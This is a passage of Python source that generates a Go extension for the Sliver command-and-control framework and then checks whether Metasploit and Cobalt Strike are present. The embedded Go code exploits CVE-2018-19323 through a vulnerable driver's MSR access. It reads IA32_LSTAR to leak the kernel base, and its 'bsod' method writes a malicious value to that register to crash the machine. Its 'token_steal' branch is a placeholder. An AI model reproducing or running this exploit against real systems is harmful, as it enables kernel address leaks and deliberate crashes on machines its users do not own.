to leak kernel base lstar, err := readMSR(handle, IA32_LSTAR) if err != nil {{ resp.Response.Err = fmt.Sprintf("Failed to read IA32_LSTAR: %v", err) return resp, nil }} kernelBase := lstar & 0xFFFFFFFFFFF00000 resp.KernelBase = kernelBase resp.LstarValue = lstar resp.Success = true switch req.Method {{ case "check": resp.Output = fmt.Sprintf("CVE-2018-19323 vulnerability confirmed\\nKernel base: 0x%016X\\nIA32_LSTAR: 0x%016X", kernelBase, lstar) case "token_steal": resp.Output = "Token stealing exploit would be executed here" case "bsod": maliciousValue := uint64(0xDEADBEEFCAFEBABE) err = writeMSR(handle, IA32_LSTAR, maliciousValue) if err != nil {{ resp.Response.Err = fmt.Sprintf("Failed to write malicious MSR: %v", err) }} else {{ resp.Output = "Malicious MSR value written - system should crash" }} default: resp.Response.Err = "Unknown method" }} return resp, nil }} func init() {{ # Register the extension with Sliver }} """ extension_path = f"/tmp/{extension_name}.go" with open(extension_path, 'w') as f: f.write(extension_content) return extension_path def is_metasploit_available(self): return self.metasploit_path is not None def is_cobalt_strike_available(self): return self.cobalt_strike_path is not None def get_framework_status(self): return { "metasploit": { "available": self.is_metasploit_available(), "path": self.metasploit_path }, "cobalt_strike": { "available": self.is_cobalt_strike_available(), "path": self.cobalt_strike_path } }